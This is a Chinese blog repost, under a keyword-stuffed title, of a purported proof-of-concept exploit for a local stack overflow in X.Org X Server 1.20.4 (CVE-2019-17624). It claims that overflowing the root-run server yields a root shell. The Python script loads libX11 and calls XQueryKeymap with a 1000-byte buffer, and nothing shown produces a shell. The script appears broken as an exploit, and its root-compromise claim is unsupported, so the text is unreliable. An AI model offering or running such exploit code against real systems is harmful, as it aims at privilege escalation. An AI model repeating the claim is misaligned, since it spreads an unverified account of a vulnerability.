我是靠谱客的博主 激昂小蝴蝶,最近开发中收集的这篇文章主要介绍linux xampp 图形界面,Linux图形界面X Server本地栈溢出POC,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

X Server 是绝大对数Linux发行版和Unix系统的基础图形界面程序,是系统标配。而此程序也是以Root权限启动的,因而成功溢出它而获得的shell,也是root权限。

# 标题: X.Org X Server 1.20.4 本地栈溢出

# 时间: 2019-10-16

# 作者: Marcelo Vázquez (s4vitar)

# 厂商: https://www.x.org/

# 版本: <= 1.20.4

# 测试平台: Linux

# CVE: CVE-2019-17624

XServer

POC

#!/usr/bin/python

#coding: utf-8

# ************************************************************************

# *                Author: Marcelo Vázquez (aka s4vitar)                 *

# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *

# ************************************************************************

import sys, time

import ctypes as ct

from ctypes import cast

from ctypes.util import find_library

def access_violation(x11, current_display):

keyboard = (ct.c_char * 1000)()

x11.XQueryKeymap(current_display, keyboard)

if __name__ == ‘__main__’:

print “n[*] Loading x11…n”

time.sleep(2)

x11 = ct.cdll.LoadLibrary(find_library(“X11″))

current_display = x11.XOpenDisplay(None)

print “[*] Exploiting…n”

time.sleep(1)

try:

access_violation(x11, current_display)

except:

print “nError…n”

sys.exit(1)

最后

以上就是激昂小蝴蝶为你收集整理的linux xampp 图形界面,Linux图形界面X Server本地栈溢出POC的全部内容,希望文章能够帮你解决linux xampp 图形界面,Linux图形界面X Server本地栈溢出POC所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(61)

评论列表共有 0 条评论

立即
投稿
返回
顶部